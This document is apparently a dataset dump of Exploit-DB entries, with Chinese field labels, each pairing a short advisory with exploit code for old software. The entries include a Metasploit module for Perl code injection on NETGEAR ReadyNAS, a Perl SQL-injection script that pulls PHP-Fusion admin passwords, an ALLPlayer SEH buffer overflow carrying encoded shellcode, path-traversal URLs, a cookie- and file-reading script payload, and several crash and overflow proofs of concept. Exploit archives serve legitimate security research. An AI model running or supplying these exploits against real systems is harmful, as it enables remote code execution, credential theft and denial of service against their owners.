QLWD/code_shield huggingface dataset:
标题: Netgear ReadyNAS - Perl Code Evaluation (Metasploit) EDB-ID: 29815 CVE: 2013-2751 类型: REMOTE 平台: HARDWARE 发布日期: 2013-11-25 漏洞利用脚本: ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NETGEAR ReadyNAS Perl Code Evaluation',
      'Description'    => %q{
        This module exploits a Perl code injection on NETGEAR ReadyNAS 4.2.23 and 4.1.11. The
        vulnerability exists on the web fronted, specifically on the np_handler.pl component,
        due to the insecure usage of the eval() perl function. This module has been tested
        successfully on a NETGEAR ReadyNAS 4.2.23 Firmware emulated environment, not on real
        hardware.
      },
      'Author'         =>
        [
          'Craig Young', # Vulnerability discovery
          'hdm',          # diff the patch
          'juan vazquez'  # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2013-2751' ],
          [ 'OSVDB', '98826' ],
          [ 'URL', 'http://www.tripwire.com/state-of-security/vulnerability-management/readynas-flaw-allows-root-access-unauthenticated-http-request/' ],
          [ 'URL', 'http://www.tripwire.com/register/security-advisory-netgear-readynas/' ]
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 4096, # Has into account Apache request length and base64 ratio
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl telnet'
            }
        },
      'Targets'        =>
        [
          [ 'NETGEAR ReadyNAS 4.2.23', { }]
        ],
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 12 2013'
      ))

    register_options(
      [
        Opt::RPORT(443)
      ], self.class)

  end

  def send_request_payload(payload)
    res = send_request_cgi({
      'uri' => normalize_uri("/np_handler", ""),
      'vars_get' => {
         'PAGE' =>'Nasstate',
         'OPERATION' => 'get',
         'SECTION' => payload
      }
    })
    return res
  end

  def check
    res = send_request_payload(")")
    if res and res.code == 200 and res.body =~ /syntax error at \(eval/
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    my_payload = "#{rand_text_numeric(1)});use MIME::Base64;system(decode_base64(\"#{Rex::Text.encode_base64(payload.encoded)}\")"
    print_status("#{peer} - Executing payload...")
    send_request_payload(my_payload)
  end

end URL: https://www.exploit-db.com/exploits/29815
标题: Drake CMS 0.3.7 - '404.php' Local File Inclusion EDB-ID: 29805 CVE: 2007-1849 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/23215/info

Drake CMS is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

Version 0.3.7 Beta is vulnerable; other versions may also be affected. 

http://www.example.com/path/404.php?d_private=../../etc/passwd? URL: https://www.exploit-db.com/exploits/29805
标题: PHP 5.1.6 - 'Imap_Mail_Compose()' Remote Buffer Overflow EDB-ID: 29807 CVE: 2007-1825 类型: REMOTE 平台: PHP 发布日期: 2007-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/23234/info

PHP is prone to a buffer-overflow vulnerability because the application fails to perform boundary checks before copying user-supplied data to insufficiently sized memory buffers.

An attacker can exploit this issue to execute arbitrary machine code in the context of the affected webserver. Failed exploit attempts will likely crash the webserver, denying service to legitimate users.

This issue affects PHP versions prior to 4.4.5 and 5.2.1. 

<?php

$envelope["from"]= "joe@example.com";
$envelope["to"]  = "foo@example.com";

$part1["type"] = TYPEMULTIPART;
$part1["subtype"] = "mixed";
$part1["type.parameters"] = array("BOUNDARY" => str_repeat("A",8192));

$part2["type"] = TYPETEXT;
$part2["subtype"] = "plain";
$part2["description"] = "description3";
$part2["contents.data"] = "contents.data3\n\n\n\t";

$body[1] = $part1;
$body[2] = $part2;

imap_mail_compose($envelope, $body);

?> URL: https://www.exploit-db.com/exploits/29807
标题: PHP 5.2.1 - 'Session.Save_Path()' TMPDIR open_basedir Restriction Bypass EDB-ID: 29801 CVE: 2007-1835 类型: LOCAL 平台: PHP 发布日期: 2007-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/23183/info

PHP is prone to a 'open_basedir' restriction-bypass vulnerability due to a design error.

Successful exploits could allow an attacker to access sensitive information or to write files in unauthorized locations.

This vulnerability would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code; in such cases, the 'safe_mode' and 'open_basedir' restrictions are expected to isolate users from each other.

The following versions are vulnerable:

PHP 4 up to and including 4.4.6
PHP 5 up to and including 5.2.1 

<?php
  ini_set("session.save_path", "/sessions/user2/");
  putenv("TMPDIR=/sessions/user2/");
  ini_set("session.save_path", "");
  @session_start();
?> URL: https://www.exploit-db.com/exploits/29801
标题: PHP-Fusion 6.1.5 Mod Calendar_Panel - 'Show_Event.php' SQL Injection EDB-ID: 29806 CVE: 2007-1845 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/23225/info

PHP-Fusion is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation. This issue may help the attacker gain unauthorized access.

#!/usr/bin/perl -w

# PHP-Fusion 'Calendar_Panel' Module show_event.PHP (m_month) SQL Injection
Exploit And PoC

# Type :

# SQL Injection

# Release Date :

# {2007-03-31}

# Product :

# http://php-fusion.co.uk/

# Bug :

# http://localhost/script/modules/articles/print.php?id=x AND 1=1 or 1=0

# PoC :

#
http://localhost/script/infusions/calendar_panel/show_event.php?m_month=-1/**/UNI
ON/**/SELECT/**/0,1,user_password,user_name,4,5,6,7,8,9,10,11/**/FROM/**/fusion_u
sers/*


use LWP::Simple;

if(!$ARGV[0] or !($ARGV[0]=~m/http/))

{
    print "\n-----------------------------------\n";
    print "PHP-Fusion 'Calendar_Panel' Module (m_month) SQL Injection Exploit\n";
    print "-----------------------------------\n";
    print "\nUniquE-Key{UniquE-Cracker}\n";
    print "UniquE[at]UniquE-Key.ORG\n";
    print "http://UniquE-Key.ORG\n";
    print "\n-----------------------------------\n";
    print "\nUsage: $0 <server/path>\n";
    print "Examp: $0 http://www.victim.com/path\n";
    print "\n-----------------------------------\n";
    exit ();
}

$address=q[/infusions/calendar_panel/show_event.php?m_month=-1/**/UNION/**/SELECT
/**/0,1,user_password,user_name,4,5,6,7,8,9,10,11/**/FROM/**/fusion_users/*];
$xmie=get($ARGV[0].$address) || die "\n# Web page not found : $!";
print "\n# Connect to : $ARGV[0]\n";
$xmie=~m/<td width='98%' colspan='4' class='textbox'>(.*?)<\/td>/ && print "\n#
Admin name : $1\n";
print "\n# Exploit Failed\n" if(!$1);
$xmie=~m/<b>(.*?)<\/b><\/font><\/td>/ && print "\n# Password : $1\n"; URL: https://www.exploit-db.com/exploits/29806
标题: PulseAudio 0.9.5 - 'Assert()' Remote Denial of Service EDB-ID: 29809 CVE: 2007-1804 类型: DOS 平台: LINUX 发布日期: 2007-04-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/23240/info

PulseAudio is prone to a remote denial-of-service vulnerability.

Exploiting this issue allows remote attackers to consume excessive system resources until the software becomes unresponsive to further calls, effectively denying service to legitimate users.

PulseAudio 0.9.5 is vulnerable to this issue. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29809.zip URL: https://www.exploit-db.com/exploits/29809
标题: Symantec (Multiple Products) - 'SPBBCDrv' Driver Local Denial of Service EDB-ID: 29810 CVE: 2007-1793 类型: DOS 平台: WINDOWS 发布日期: 2007-04-01 漏洞利用脚本: // source: https://www.securityfocus.com/bid/23241/info

Multiple Symantec products are prone to a local denial-of-service vulnerability.

This issue occurs when attackers supply invalid argument values to the 'SPBBCDrv.sys' driver.

A local attacker may exploit this issue to crash affected computers, denying service to legitimate users. 

/*

 Testing program for Multiple insufficient argument validation of hooked SSDT function (BTP00000P002NF)
 

 Usage:
 prog FUNCNAME
   FUNCNAME - name of function to be checked

 Description:
 This program calls given function with parameters that cause the crash of the system. This happens because of 
 insufficient check of function arguments in the driver of the firewall.

 Test:
 Running the testing program with the name of function from the list of functions with insufficient check
 of arguments.

*/

#undef __STRICT_ANSI__
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <ddk/ntapi.h>
#include <ddk/ntifs.h>

void about(void)
{
  printf("Testing program for Multiple insufficient argument validation of hooked SSDT function (BTP00000P002NF)\n");
  printf("Windows Personal Firewall analysis project\n");
  printf("Copyright 2007 by Matousec - Transparent security\n");
  printf("http://www.matousec.com/""\n\n");
  return;
}

void usage(void)
{
  printf("Usage: test FUNCNAME\n"
         "  FUNCNAME - name of function to be checked\n");
  return;
}


int main(int argc,char **argv)
{
  about();

  if (argc!=2)
  {
    usage();
    return 1;
  }

  if (!stricmp(argv[1],"NtCreateMutant") || !stricmp(argv[1],"ZwCreateMutant"))
  {
    HANDLE handle;
    OBJECT_ATTRIBUTES oa;
    InitializeObjectAttributes(&oa,(PVOID)1,0,NULL,NULL);

    ZwCreateMutant(&handle,0,&oa,FALSE);

  } else if (!stricmp(argv[1],"NtOpenEvent") || !stricmp(argv[1],"ZwOpenEvent"))
  {
    HANDLE handle;
    OBJECT_ATTRIBUTES oa;
    InitializeObjectAttributes(&oa,(PVOID)1,0,NULL,NULL);

    ZwOpenEvent(&handle,0,&oa);
  } else printf("\nI do not know how to exploit the vulnerability using this function.\n");

  printf("\nTEST FAILED!\n");
  return 1;
} URL: https://www.exploit-db.com/exploits/29810
标题: PHP 5.1.6 - 'Msg_Receive()' Memory Allocation Integer Overflow EDB-ID: 29808 CVE: 2007-1890 类型: REMOTE 平台: PHP 发布日期: 2007-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/23236/info

PHP is prone to an integer-overflow vulnerability because it fails to ensure that integer values aren't overrun. Attackers may exploit this issue to cause a buffer overflow and to corrupt process memory.

Exploiting this issue may allow attackers to execute arbitrary machine code in the context of the affected application. Failed exploit attempts will likely result in a denial-of-service condition.

This issue affects PHP versions prior to 4.4.5 and 5.2.1. 

<?php

  $MSGKEY = 519052;

  $msg_id = msg_get_queue ($MSGKEY, 0600);

  if (!msg_send ($msg_id, 1, 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH', false, true, $msg_err))
    echo "Msg not sent because $msg_err\n";

  if (msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0, $msg_error)) {
    echo "$msg\n";
  } else {
    echo "Received $msg_error fetching message\n";
    break;
  }

  msg_remove_queue ($msg_id);

?> URL: https://www.exploit-db.com/exploits/29808
标题: ALLPlayer 5.7 - '.m3u' UNICODE Buffer Overflow (SEH) EDB-ID: 29798 CVE: 2013-7409 类型: LOCAL 平台: WINDOWS 发布日期: 2013-11-24 漏洞利用脚本: #!/usr/bin/perl

###############################################################################
# Exploit Title: ALLPlayer 5.7 (.m3u) - SEH Buffer Overflow (Unicode)
# Date: 11-23-2013
# Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
# Vulnerable Software: ALLPlayer 5.7 
# Software Link: http://www.allplayer.org/download/allplayer
# Version: 5.7
# Tested On: Windows XP SP3 and Windows 7 Pro SP1
##############################################################################

my $buffsize = 5000; # sets buffer size for consistent sized payload
my $junk = "http://" . "\x41" x 303; # offset to seh
my $nseh = "\x61\x62"; # overwrite next seh with popad (populates all registers) + nop
my $seh = "\x11\x66"; # overwrite seh with unicode friendly pop pop ret
        # 0x00660011 : pop ecx pop ebp ret  | startnull,unicode,ascii {PAGE_EXECUTE_READ} [ALLPlayer.exe] 
        # ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.7.0.0 (C:\Program Files\ALLPlayer\ALLPlayer.exe)

# unicode venetian alignment
my $venalign = "\x53"; # push ebx; ebx is the register closest to our shellcode following the popad 
$venalign = $venalign . "\x71"; # venetian pad/align
$venalign = $venalign . "\x58"; # pop eax; put ebx into eax and modify to jump to our shellcode (100 bytes)
$venalign = $venalign . "\x6e"; # venetian pad/align
$venalign = $venalign . "\x05\x14\x11"; # add eax,0x11001400
$venalign = $venalign . "\x6e"; # venetian pad/align 
$venalign = $venalign . "\x2d\x13\x11"; # sub eax,0x11001300
$venalign = $venalign . "\x6e"; # venetian pad/align
$venalign = $venalign . "\x50"; # push eax
$venalign = $venalign . "\x6d"; # venetian pad/align
$venalign = $venalign . "\xc3"; # ret

my $nops = "\x71" x 109; # some unicode friendly filler before the shellcode

# Calc.exe payload
# msfpayload windows/exec CMD=calc.exe R
# alpha2 unicode/uppercase
my $shell = "PPYAIAIAIAIAQATAXAZAPA3QADAZA".
"BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA".
"58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB".
"AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K".
"22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL".
"MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55".
"Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V".
"NQKONQ90FLGQ8OLMKQY7NXK0T5L4M33MKHOKSMND45JB".
"R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT".
"NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU".
"89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM".
"KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC".
"QQ2LRCM0LJA";
 
my $sploit = $junk.$nseh.$seh.$venalign.$nops.$shell; # assemble the exploit portion of the buffer
my $fill = "\x71" x ($buffsize - length($sploit)); # fill remainder of buffer with junk
my $buffer = $sploit.$fill; # assemble the final buffer

# write the exploit buffer to file
my $file = "allplayer_unicodeseh.m3u";
open(FILE, ">$file");
print FILE $buffer;
close(FILE);
print "Exploit file [" . $file . "] created\n";
print "Buffer size: " . length($buffer) . "\n"; URL: https://www.exploit-db.com/exploits/29798
标题: aBitWhizzy - 'whizzypic.php?d' Traversal Arbitrary Directory Listing EDB-ID: 29785 CVE: 2007-1773 类型: REMOTE 平台: PHP 发布日期: 2007-03-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/23167/info

aBitWhizzy is prone to multiple cross-site scripting and directory-traversal vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker could exploit these vulnerabilities to view the directory structure on the affected webserver and perform cross-site scripting attacks on unsuspecting users in the context of the affected website. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://localhost/abitwhizzy/whizzypic.php?d= ../../../../../../../Documents%20and%20Settings URL: https://www.exploit-db.com/exploits/29785
标题: Fizzle 0.5 - RSS Feed HTML Injection EDB-ID: 29783 CVE: 2007-1678 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/23144/info

Fizzle is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

This issue affects version 0.5; other versions may also be affected.

- ------------------------------------------------------------------------- POC: Local File Reading and Cookie Reading (The HTML entities MUST be used) - ------------------------------------------------------------------------- <script> function read(readfile) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(readfile); var is = Components.classes["@mozilla.org/network/file-input-stream;1"] .createInstance(Components.interfaces.nsIFileInputStream); is.init(file, 0x01, 00004, null); var sis = Components.classes["@mozilla.org/scriptableinputstream;1"] .createInstance(Components.interfaces.nsIScriptableInputStream); sis.init(is); var output = sis.read(sis.available()); alert(output); } read("C:\test.txt"); function getCookies() { var cookieManager = Components.classes["@mozilla.org/cookiemanager;1"] .getService(Components.interfaces.nsICookieManager); var str = ''; var iter = cookieManager.enumerator; while (iter.hasMoreElements()) { var cookie = iter.getNext(); if (cookie instanceof Components.interfaces.nsICookie) { str += "Host: " + cookie.host + "\nName: " + cookie.name + "\nValue: " + cookie.value + "\n\n"; } } alert(str); } getCookies() </script> URL: https://www.exploit-db.com/exploits/29783
标题: aBitWhizzy - 'whizzylink.php?d' Traversal Arbitrary Directory Listing EDB-ID: 29786 CVE: 2007-1773 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/23167/info
 
aBitWhizzy is prone to multiple cross-site scripting and directory-traversal vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
An attacker could exploit these vulnerabilities to view the directory structure on the affected webserver and perform cross-site scripting attacks on unsuspecting users in the context of the affected website. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://localhost/abitwhizzy/whizzylink.php?d= ../../../../../../../Documents%20and%20Settings URL: https://www.exploit-db.com/exploits/29786
标题: MyBB Ajaxfs 2 Plugin - SQL Injection EDB-ID: 29797 CVE: 2013-6936 类型: WEBAPPS 平台: PHP 发布日期: 2013-11-24 漏洞利用脚本: ###########################

# Mybb Ajaxfs Plugin Sql Injection vulnerability

###########################

#################################
#
#     @@@    @@@@@@@@@@@    @@@@@           @@@@@@@@@@            @@@  @@@@@@@
#     @@@    @@@@@@@@@@@    @@@  @@         @@@     @@            @@@  @@@@@@@@ 
#     @@@    @@@            @@@    @@       @@@       @@          @@@  @@@  @@@ 
#     @@@    @@@            @@@      @@     @@@     @@            @@@  @@@  @@@ 
#     @@@    @@@@@@@@@@@    @@@       @     @@@@@@@@@@            @@@  @@@@@@
#     @@@    @@@@@@@@@@@    @@@     @@      @@@     @@            @@@  @@@@@@
#     @@@    @@@            @@@   @@        @@@       @@   @@@    @@@  @@@ @@@
#     @@@    @@@            @@@ @@          @@@     @@     @@@    @@@  @@@  @@@
#     @@@    @@@@@@@@@@@    @@@@@           @@@@@@@@@@     @@@    @@@  @@@   @@@
#
#####################################
 
# Exploit Title : Mybb Ajaxfs Plugin Sql Injection vulnerability
 
# Author : Iranian Exploit DataBase
 
# Discovered By : IeDb
 
# Email : [email protected]  -  [email protected]
 
# Home : http://iedb.ir   -   http://iedb.ir/acc
 
# Fb Page : https://www.facebook.com/pages/Exploit-And-Security-Team-iedbir/199266860256538
 
# Software Link : http://mods.mybb.com/download/ajax-forum-stat-v-2
 
# Security Risk : High
 
# Tested on : Linux
 
# Dork : inurl:ajaxfs.php
 
#################################
 
1)
 
  if(isset($_GET['tooltip']))
    {
    $pid=$_GET['tooltip'];
    $query_post = $db->query ("SELECT * FROM ".TABLE_PREFIX."posts WHERE pid='$pid'");
 
 
2)
 
 if(isset($_GET['usertooltip']))
    {
    $uid=$_GET['usertooltip'];
    $query_user = $db->query ("SELECT * FROM ".TABLE_PREFIX."users WHERE uid='$uid'");
 
http://localhost/Upload/ajaxfs.php?usertooltip=1'
 
    1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
 
Google DORK : inurl:ajaxfs.php
 
 
# Exploit :
 
# http://site.com/mybb/ajaxfs.php?tooltip=[sql]
 
# http://site.com/mybb/ajaxfs.php?usertooltip=[sql]
 
 
#################################
 
# Tnx To : All Member In Iedb.ir/acc & Iranian Hackers
 
################################# URL: https://www.exploit-db.com/exploits/29797
标题: PHP 5.2.1 - Folded Mail Headers Email Header Injection EDB-ID: 29784 CVE: 2007-1718 2007-1717 类型: REMOTE 平台: PHP 发布日期: 2007-11-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/23145/info

PHP is prone to an email-header-injection vulnerability because it fails to properly sanitize user-supplied input when constructing email messages.

Exploiting this issue allows a malicious user to create arbitrary email headers, and then create and transmit spam messages from the affected computer.

The following versions are vulnerable:

PHP 4 up to and including 4.4.6
PHP 5 up to and including 5.2.1

<?php
   mail("test@domain(dot)com", "Test\r\n \nAnother-Header: Blub", "Message");
?> URL: https://www.exploit-db.com/exploits/29784
标题: HP JetDirect FTP Print Server - 'RERT' Denial of Service EDB-ID: 29787 CVE: 2007-1772 类型: DOS 平台: WINDOWS 发布日期: 2007-01-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/23168/info

HP JetDirect FTP Print Server is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue on an affected computer to deny service to legitimate users.

FTP Print Server 2.4 and prior versions are vulnerable.

python /usr/lib/python2.4/ftplib.py -d [vulnerable host] -l -p `python
-c 'print "A"*300'` URL: https://www.exploit-db.com/exploits/29787
标题: PHP 4.4.4 - 'Zip_Entry_Read()' Integer Overflow EDB-ID: 29788 CVE: 2007-1777 类型: REMOTE 平台: PHP 发布日期: 2007-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/23169/info

PHP is prone to an integer-overflow vulnerability because it fails to ensure that integer values aren't overrun. Attackers may exploit this issue to cause a heap-based buffer overflow.

Exploiting this issue may allow attackers to execute arbitrary machine code in the context of the affected application. Failed exploit attempts will likely result in a denial-of-service condition.

This issue affects versions prior to PHP 4.4.5.

<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //        PHP 4 zip_entry_read() Integer Overflow Vulnerability       //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  $r = zip_open("x.zip");
  $e = zip_read($r);
  $x = zip_entry_open($r, $e);


  for ($i=0; $i<1000; $i++) $arr[$i]=array(array(""));
  unset($arr[600]);
  
  zip_entry_read($e, -1);
  
  unset($arr[601]);
?> URL: https://www.exploit-db.com/exploits/29788